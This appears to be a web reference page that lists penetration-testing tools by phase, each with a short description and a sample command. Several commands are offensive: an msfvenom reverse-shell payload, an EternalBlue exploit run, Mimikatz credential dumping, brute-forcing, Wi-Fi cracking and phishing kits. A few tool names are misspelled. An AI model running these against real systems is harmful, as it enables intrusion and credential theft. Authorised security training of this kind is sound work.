Tactical Pentest Framework

16-Phase Tool Directory

๐Ÿ”RECON

Shodan

Search engine for internet-connected devices. Search for routers, servers, IoT devices, and public endpoints.

shodan search 'port:22 Country:US OS:Linux'
๐Ÿ”RECON

Censys

Search engine for global network scans. Enables researchers to find hosts and certificates exposed on the public internet.

censys search 'services.port: 80 AND location.country: "United States"'
๐Ÿ”RECON

crt.sh

Certificate Transparency log search tool. Discover subdomains and history of HTTPS certificates for any target domain.

curl -s 'https://crt.sh/?q=example.com&output=json' | jq .
๐Ÿ”RECON

DNSDumpster

DNS recon and research utility to find subdomains, host records, mail servers, and generate visual network maps.

python dnsdumpster.py target.com
๐Ÿ”RECON

The Harvester

Gather emails, subdomains, hosts, employee names, open ports, and banners from different public sources.

theHarvester -d target.com -l 500 -b google
๐Ÿ”RECON

Amass

In-depth subdomain enumeration, DNS mapping, and infrastructure profiling using active and passive OSINT.

amass enum -passive -d target.com
๐Ÿ”RECON

Maltego

Interactive data mining tool that layout link analysis for cyber threat intelligence.

maltego --help
๐Ÿ”RECON

Recon-ng

Full-featured Web Reconnaissance framework written in Python with modular API integrations.

recon-ng
๐Ÿ”RECON

SpiderFoot

Open source intelligence (OSINT) automation tool for scanning over 100 public data sources.

spiderfoot -m sfp_whois,sfp_shodan -t target.com
๐Ÿ“กSCANNING

Masscan

Fastest Internet port scanner. Transmits packets at speeds up to 10 million packets per second.

masscan -p1-65535 10.0.0.0/8 --rate 100000
๐Ÿ“กSCANNING

RustScan

Modern, lightning-fast port scanner written in Rust, designed to feed results directly into Nmap automatically.

rustscan -a target.com -- -sV -sC
๐Ÿ“กSCANNING

Dirsearch

Advanced web path scanner using command-line brute force, supporting multi-threading and proxy configurations.

dirsearch -u https://target.com/ -e php,html,js
๐Ÿ“กSCANNING

Gobuster

Directory/file, DNS, and VHost brute-forcing tool written in Go for rapid structure discovery.

gobuster dir -u https://target.com -w common-words.txt
๐Ÿ“กSCANNING

FFuf

Fast web fuzzer written in Go. Ideal for directory discovery, parameter fuzzing, and headers injection testing.

ffuf -w wordlist.txt -u https://target.com/FUZZ
๐Ÿ“กSCANNING

Nikto

Web server scanner that performs comprehensive tests against dangerous items and CGI files.

nikto -h https://target.com
๐Ÿ“กSCANNING

Nimbuster

Fast directory brute force scanner focused on API routes and hidden endpoints.

nimbuster -u https://target.com -w wordlist.txt
๐Ÿ“กSCANNING

Zmap

Fast single-packet network scanner designed for Internet-wide network surveys.

zmap -p 80 10.0.0.0/8 -o results.csv
โš ๏ธVULNERABILITY

OpenVAS

Open-source vulnerability scanner and manager. Offers a rich feed of vulnerability tests updated daily.

gvm-start && xdg-open https://localhost:9392
โš ๏ธVULNERABILITY

Searchsploit

Command-line search utility for Exploit Database, allowing offline searches for known server vulnerabilities.

searchsploit 'Apache 2.4.41'
โš ๏ธVULNERABILITY

Wapiti

Black-box web application vulnerability scanner audits cookies and script files.

wapiti -u https://target.com/
โš ๏ธVULNERABILITY

WPScan

WordPress vulnerability scanner to find themes, plugins, and core version vulnerabilities.

wpscan --url https://target.com
โš ๏ธVULNERABILITY

GVM (Greenbone)

Enterprise framework containing security vulnerability tests for networks.

gvm-cli socket --xml "<get_version/>"
๐Ÿ’ปWEB

OWASP ZAP

Free, open-source web application scanner. Perfect for developers and automated CI/CD pipeline integration.

zaproxy -cmd -quickurl https://target.com
๐Ÿ’ปWEB

Commix

Automated command injection exploitation framework. Detects and exploits OS command injection bugs in web forms.

commix --url='http://target.com/cmd.php?addr=INJECT_HERE'
๐Ÿ’ปWEB

XSStrike

Advanced Cross-Site Scripting (XSS) scanner with payload generator, intelligent fuzzer, and DOM parser.

python xsstrike.py -u 'https://target.com/search?q=query'
๐Ÿ’ปWEB

Arachni

High-performance modular Web Application Security Scanner framework.

arachni https://target.com
๐Ÿ’ปWEB

W3af

Web Application Attack and Audit Framework to identify and exploit SQLi/XSS.

./w3af_console
๐Ÿ’ปWEB

DirBuster

Multi-threaded Java application designed to brute force directories and file names.

java -jar DirBuster-1.0-RC1.jar
๐Ÿ’ปWEB

ParamSpider

Mining parameters from web archives for a target domain to identify injection entry points.

python3 paramspider.py --domain target.com
๐ŸงฎPASSWORD

John the Ripper

Fast password cracker designed for Unix, Windows, and macOS. Auto-detects encryption hash types.

john --wordlist=passwords.txt hashes.txt
๐ŸงฎPASSWORD

CrackStation

Instant lookups against multi-billion pre-computed lookup tables for cryptographic hashes.

Paste hash directly into CrackStation Web GUI for instant lookup
๐ŸงฎPASSWORD

CeWL

Custom Wordlist Generator. Scrapes websites to compile custom dictionary files based on target terminology.

cewl -d 2 -m 5 -w wordlist.txt https://target.com
๐ŸงฎPASSWORD

Medusa

Speedy, parallel, modular, login brute-forcer for network services.

medusa -h 10.10.10.5 -u admin -P passwords.txt -M ssh
๐ŸงฎPASSWORD

Crunch

Wordlist generator where you can specify a standard character set or a wildcard configuration.

crunch 6 8 abcdef -o wordlist.txt
๐ŸงฎPASSWORD

Ncrack

High-speed network authentication cracking tool for auditing network endpoints.

ncrack -p ssh:22 --user admin -P pass.txt 10.10.10.5
๐Ÿ“ถWIRELESS

Airgeddon

Multi-use wireless audit script. Automates captive portal generation, handshakes, and deauth loops.

sudo ./airgeddon.sh
๐Ÿ“ถWIRELESS

Wifite

Automated mass Wi-Fi auditor. Target all nearby WPA/WPA2 networks, capture handshakes, and attack WPS PINs.

sudo wifite --dict wordlist.txt
๐Ÿ“ถWIRELESS

Bettercap

Complete, modular, and extensible framework for network monitoring, BLE spoofing, Wi-Fi sniffing, and MITM attacks.

sudo bettercap -eval "net.probe on; net.show"
๐Ÿ“ถWIRELESS

Kismet

Wireless network detector, sniffer, and intrusion detection system for 802.11 Wi-Fi, Lora, and Bluetooth.

kismet -c wlan0mon
๐Ÿ“ถWIRELESS

Reaver

Exploits WPS (Wi-Fi Protected Setup) registrar PIN bugs to recover WPA/WPA2 passphrases.

reaver -i wlan0mon -b 00:11:22:33:44:55 -vv
๐Ÿ“ถWIRELESS

Pixiewst

Offline WPS PIN brute-forcing tool utilizing entropy vulnerabilities of wireless routers.

pixiewst -i wlan0mon -b 00:11:22:33:44:55
๐ŸŒNETWORK

BloodHound

Active Directory relations visualizer. Maps pathways, access rights, and relationships to locate domain admin vectors.

sharpound.exe --CollectionMethod All --domain domain.local
๐ŸŒNETWORK

CrackMapExec

Swiss army knife for pentesting Active Directory. Automates mass credential testing and payload delivery over SMB/WinRM.

cme smb 10.10.10.0/24 -u user -p pass --local-auth
๐ŸŒNETWORK

Evil-WinRM

Ultimate Windows Remote Management (WinRM) shell for hacking. Features memory script loads, bypasses, and file transfers.

evil-winrm -i 10.10.10.5 -u Administrator -p 'Password123'
๐ŸŒNETWORK

Yersinia

Network tool designed to exploit weak security implementations in Layer 2 protocols like DHCP and STP.

yersinia dhcp -attack 1
๐ŸŒNETWORK

Scapy

Interactive packet manipulation program written in Python, capable of crafting and sending raw packets.

scapy
๐ŸŒNETWORK

Wireshark

World's foremost network protocol analyzer, letting you see network traffic at a microscopic level.

tshark -i eth0 -f 'tcp port 80'
๐Ÿ’ฅEXPLOITATION

BeEF

Browser Exploitation Framework. Controls target web browsers to demonstrate client-side scripting attack vectors.

sudo ./beef
๐Ÿ’ฅEXPLOITATION

Social-Engineer Toolkit (SET)

Framework tailored for social engineering vectors. Clone target pages, host QR codes, and create weaponized PDF payloads.

sudo setoolkit
๐Ÿ’ฅEXPLOITATION

MSFvenom

Metasploit standalone payload generator. Encodes, bypasses detection, and outputs payloads for multiple architectures.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -f exe > shell.exe
๐Ÿ’ฅEXPLOITATION

Beef-XSS

Browser Exploitation Framework focused on attacking client-side vectors via hooked web tabs.

sudo beef-xss
๐Ÿ’ฅEXPLOITATION

Routersploit

Exploitation framework dedicated to scanning and hacking embedded and IoT routers.

python3 rsf.py
๐Ÿ’ฅEXPLOITATION

AutoBlue

Python scripts that automate the detection and exploitation of EternalBlue (MS17-010).

python eternalblue_exploit7.py 10.10.10.4
โšกPOST

Cobalt Strike

Commercial adversary simulation and red teaming platform. Generates advanced payloads and stable beaconing.

sudo ./teamserver 10.10.10.2 SuperSecretPass
โšกPOST

Ligolo-ng

Next-gen network tunneling and pivoting tool. Establishes clean, high-performance interfaces on the attacker machine.

./agent -connect 10.10.10.2:11601 -ignore-cert
โšกPOST

Empire C2

PowerShell and Python post-exploitation framework with secure agents and listener configurations.

sudo powershell-empire
โšกPOST

Mimikatz

Credentials extraction tool that leaks Windows plaintext passwords, hashes, and Kerberos tickets from memory.

mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords'
โšกPOST

Chisel

Fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Perfect for network pivoting.

chisel client 10.10.10.2:8080 R:80:127.0.0.1:80
๐Ÿ‘ฅSOCIAL

Wifiphisher

Red team tool that mounts automated Wi-Fi social engineering attacks against WPA networks to harvest credentials.

sudo wifiphisher -aC evil-ap.html
๐Ÿ‘ฅSOCIAL

Sherlock

Locate usernames and target social media profiles across hundreds of websites.

python3 sherlock.py victimusername
๐Ÿ‘ฅSOCIAL

SocialFish

Ultimate phishing tool with templates for popular portals and custom target forms.

python3 SocialFish.py
๐Ÿ‘ฅSOCIAL

Phishery

An SSL-enabled HTTP credential harvester with basic auth injection for Word documents.

phishery -u https://phish.target.com
โœ‰๏ธEMAIL

TempMail

Instant disposable secure email provider. Ideal for registering on untrusted platforms during target research.

Open temp-mail.org for immediate API mail generation
โœ‰๏ธEMAIL

GuerrillaMail

Temporary email system. Send and receive emails with custom addresses. Bypasses spam checks.

Access at guerrillamail.com
โœ‰๏ธEMAIL

10MinuteMail

Highly private disposable email address that self-destructs after exactly 10 minutes.

Access at 10minutemail.com
โœ‰๏ธEMAIL

Maildrop

Disposable temporary inbox that discards spam automatically and keeps operations private.

Access at maildrop.cc
โœ‰๏ธEMAIL

YOPmail

Quick, temporary, disposable email inbox to protect accounts against spam feeds.

Access at yopmail.com
โœ‰๏ธEMAIL

Burner Mail

Generate temporary custom email addresses to route and hide your main inbox.

Access at burnermail.io
๐Ÿ›ก๏ธANTIVIRUS

VirusTotal

Aggregate file and URL scanner. Checks uploads against 70+ antivirus engines and domain blocklists.

vt-cli scan file.exe
๐Ÿ›ก๏ธANTIVIRUS

Antiscan.me

Private file scanner that checks target files against major AVs without sharing or submitting logs to vendors.

Upload artifact through Antiscan Web Portal
๐Ÿ›ก๏ธANTIVIRUS

ClamAV

Open source antivirus engine for detecting trojans, viruses, and malware on systems.

clamscan -r /home/user/downloads
๐Ÿ›ก๏ธANTIVIRUS

YARA

Tool aimed at helping malware researchers identify and classify malware samples using rules.

yara rules.yar suspected_file.exe
๐Ÿ›ก๏ธANTIVIRUS

Loki IOC Scanner

Simple IOC Scanner for hunting malware indicators, hash matches, and system anomalies.

python loki.py -p /home/user/downloads
๐Ÿค–AI

Garak

Large Language Model vulnerability scanner. Analyzes models for prompt injection, hallucinations, and data leaks.

python3 -m garak --model_type openai --model_name gpt-4
๐Ÿค–AI

Promptfoo

Test application outputs, prompt safety, and model security constraints via rigorous CI assertion models.

promptfoo eval -p prompts.txt -r providers.txt
๐Ÿค–AI

LLM Guard

Security scanner and sanitizer tool designed to prevent prompt injections and data leakage in LLMs.

pip install llm-guard
๐Ÿค–AI

Vigil

Open source prompt injection and LLM vulnerability guardrail scanning framework.

vigil --prompt 'override instructions'
๐Ÿค–AI

NeMo Guardrails

NVIDIA framework for adding safety constraints and security policies to LLM conversational interfaces.

nemoguardrails chat
๐ŸงชLABS

VirtualBox

Free and open-source x86/AMD64 hypervisor. Crucial for running target networks and isolated attack suites.

VBoxManage startvm 'Kali-Linux-Lab'
๐ŸงชLABS

Docker

Lightweight application containment engine, perfect for spinning up target web servers or vulnerable databases.

docker run -d -p 80:80 vulnerable-web-app
๐ŸงชLABS

VMware Workstation

Hypervisor for building complex target active directories and isolated scanning lab machines.

vmrun start 'ActiveDirectory.vmx'
๐ŸงชLABS

Vagrant

Tool for building and managing virtual machine environments automatically via configuration files.

vagrant up
๐ŸงชLABS

Proxmox VE

Complete open-source platform for enterprise virtualization with LXC containers and KVM.

qm start 100
๐ŸŽ“EDUCATION

PortSwigger Academy

Free online security training for web applications. Tracks modern exploit techniques on real server structures.

Access Web Academy at portswigger.net
๐ŸŽ“EDUCATION

OffSec OSCP Program

Offensive Security Certified Professional program. The industry standard for network and exploit testing.

Access courseware at offsec.com
๐ŸŽ“EDUCATION

TryHackMe

Hands-on cybersecurity training platform using gamified virtual labs and learning paths.

openvpn tryhackme.ovpn
๐ŸŽ“EDUCATION

SANS Institute

Premium cybersecurity training, certifications, and security research resource portal.

Access coursework at sans.org
๐ŸŽ“EDUCATION

Cybrary

Online library of cybersecurity training videos, certification preps, and lab walkthroughs.

Access modules at cybrary.it
โ˜๏ธCLOUD

Vercel

Frontend developer platform. Instantly hosts lightweight static projects and serverless endpoints.

vercel deploy --prod
โ˜๏ธCLOUD

Cloudflare

Global CDN, secure reverse proxy, and enterprise DDoS shield. Protects target networks and filters scanning bots.

Configure rules via Cloudflare Dashboard
โ˜๏ธCLOUD

AWS Security Hub

Unified cloud security posture management service that aggregates alerts from Amazon Web Services.

aws securityhub get-findings
โ˜๏ธCLOUD

LocalStack

Fully functional local AWS cloud stack for testing cloud security parameters offline.

localstack start
โ˜๏ธCLOUD

DefectDojo

Application vulnerability management tool that correlates, reports, and aggregates scans.

defectdojo scan import
โ˜๏ธCLOUD

Kubernetes Kube-Hunter

Hunts for security vulnerabilities in Kubernetes clusters to identify misconfigurations.

kube-hunter --remote 10.10.10.10